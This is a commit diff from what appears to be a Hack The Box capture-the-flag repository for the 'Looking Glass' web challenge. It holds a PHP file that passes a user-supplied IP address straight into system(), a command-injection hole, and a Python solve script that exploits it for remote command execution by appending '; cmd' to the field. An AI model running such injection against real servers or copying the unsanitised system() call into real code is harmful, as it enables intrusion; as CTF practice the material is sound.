Added initial code.

htb/challenges/web-looking-glass/index.php

@@ -0,0 +1,19 @@
+<?php
+function getUserIp()
+{
+    return $_SERVER['REMOTE_ADDR'];
+}
+
+function runTest($test, $ip_address)
+{
+    if ($test === 'ping')
+    {
+        system("ping -c4 ${ip_address}");
+    }
+    if ($test === 'traceroute')
+    {
+        system("traceroute ${ip_address}");
+    }
+}
+
+?>

htb/challenges/web-looking-glass/solve.py

@@ -0,0 +1,16 @@
+#!/usr/bin/env python3
+
+from requests import post
+
+cmd = input('rce>> ')
+ip = '159.65.20.166'    # change this
+port = '30526'          # change this
+
+data = {'test': 'ping', 'ip_address': f'{ip}; {cmd}', 'submit': 'Test'}
+r = post(f'{ip}:{port}/', data=data)
+
+data = r.text
+data = data.split('packet loss\n')[-1]
+data = data.split('</textarea>')[0]
+
+print(data.strip())